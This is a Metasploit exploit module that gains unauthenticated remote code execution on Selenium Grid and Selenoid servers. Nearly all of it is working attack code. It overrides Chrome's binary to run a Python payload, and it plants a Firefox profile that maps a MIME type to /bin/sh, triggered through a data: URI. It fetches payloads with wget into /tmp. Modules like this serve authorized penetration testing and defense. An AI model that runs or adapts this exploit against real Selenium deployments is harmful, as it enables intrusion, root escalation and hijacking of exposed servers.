##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Module::Deprecated
  moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
  moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Payload::Python
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
        'Description' => %q{
          Selenium Grid and Selenoid expose a WebDriver API that allows creating
          browser sessions with arbitrary capabilities. When deployed without
          authentication (the default for both), an attacker can achieve remote
          code execution through two browser-specific techniques:

          For Chrome, the goog:chromeOptions binary field can be set to an
          arbitrary executable such as /usr/bin/python3, since ChromeDriver does
          not validate it. This was fixed in Selenium Grid 4.11.0 via the
          stereotype capabilities merge. All Selenoid versions remain vulnerable.

          For Firefox, a custom profile containing a malicious MIME handler that
          maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
          Navigating to a data: URI with that content type triggers shell
          execution. This technique has never been patched and works on all
          Selenium Grid versions including the latest release.

          The module auto-detects available browsers and selects the best attack
          vector. Firefox is preferred as it works on all Grid versions.

          The default Docker images run as seluser/selenium with passwordless
          sudo, allowing trivial privilege escalation to root.
        },
        'Author' => [
          'Jon Stratton',
          'Wiz Research',
          'Takahiro Yokoyama',
          'Valentin Lobstein <chocapikk[at]leakix.net>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
          ['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
          ['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
          ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
          ['EDB', '49915'],
          ['CWE', '306']
        ],
        'Platform' => %w[python unix linux],
        'Arch' => [ARCH_PYTHON, ARCH_CMD],
        'Payload' => {},
        'Targets' => [
          [
            'Python In-Memory',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET',
                'FETCH_DELETE' => true,
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-05-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(4444),
      OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
      OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
    ])
  end

  def check
    @backend = detect_backend
    return CheckCode::Unknown('No response from target') unless @backend

    @browsers = enumerate_browsers
    return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?

    check_grid
  end

  def exploit
    @backend ||= detect_backend
    @browsers ||= enumerate_browsers
    browser = select_browser
    fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser

    send("exploit_#{browser}")
  end

  private

  def selenoid?
    @backend&.dig(:type) == :selenoid
  end

  def session_path
    normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
  end

  def grid_version
    nodes = @backend&.dig(:value, 'nodes')
    return unless nodes.is_a?(Array) && !nodes.empty?

    version_raw = nodes.first['version']
    return unless version_raw

    version_raw.split(/\s/).first
  end

  def chrome_vuln?
    return true if selenoid?

    ver = grid_version
    ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
  end

  def detect_backend
    %w[status wd/hub/status].each do |path|
      res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
      next unless res&.code == 200

      value = res.get_json_document['value']
      next unless value.is_a?(Hash) && value['message'].is_a?(String)

      msg = value['message'].downcase
      return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
      return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
    end
    nil
  end

  def enumerate_browsers
    return [] unless @backend
    return selenoid_browsers if selenoid?

    grid_browsers
  end

  def selenoid_browsers
    browsers = @backend[:value]['browsers']
    return %w[chrome firefox] unless browsers.is_a?(Hash)

    browsers.keys.map(&:downcase)
  end

  def grid_browsers
    nodes = @backend[:value]['nodes']
    return [] unless nodes.is_a?(Array)

    nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
  end

  def check_grid
    ver_str = grid_version
    return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
    return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
    return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
    return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')

    CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
  end

  def select_browser
    choice = datastore['BROWSER']

    if choice != 'auto'
      print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
      return choice
    end

    if @browsers.include?('firefox')
      print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
      return 'firefox'
    end

    if @browsers.include?('chrome') && chrome_vuln?
      print_status('Auto-selected Chrome (binary override)')
      return 'chrome'
    end

    print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
    nil
  end

  def create_session(body)
    send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
  end

  def cleanup_session(session_id)
    res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
    print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
  rescue StandardError
    nil
  end

  def exploit_chrome
    body = {
      'capabilities' => {
        'alwaysMatch' => {
          'browserName' => 'chrome',
          'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
        }
      }
    }.to_json

    print_status('Sending Chrome session request with binary override...')
    res = create_session(body)

    return print_warning('No response received (expected - Python exits after execution)') unless res
    return print_good('Payload executed (server returned 500 as expected)') if res.code == 500

    fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200

    json = res.get_json_document
    return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')

    session_id = json.dig('value', 'sessionId')
    return unless session_id

    print_warning("Session #{session_id} created but binary override may have been ignored")
    cleanup_session(session_id)
  end

  def build_python_payload
    inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
    py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
  end

  def exploit_firefox
    encoded_profile = build_malicious_profile
    body = {
      'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
      'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
    }.to_json

    print_status('Creating Firefox session with malicious profile...')
    res = create_session(body)
    fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res

    session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
    fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
    print_status("Session created: #{session_id}")

    cmd = payload.encoded
    cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
    script = "#{cmd}\n"

    fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
    fetch_file = datastore['FETCH_FILENAME']
    register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file

    print_status('Navigating to data: URI to trigger handler...')
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
      'ctype' => 'application/json',
      'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
    )

    cleanup_session(session_id)
  end

  def build_malicious_profile
    stringio = Zip::OutputStream.write_buffer do |io|
      io.put_next_entry('handlers.json')
      io.write({
        'defaultHandlersVersion' => { 'en-US' => 4 },
        'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
      }.to_json)
    end
    stringio.rewind
    Base64.strict_encode64(stringio.sysread)
  end

end
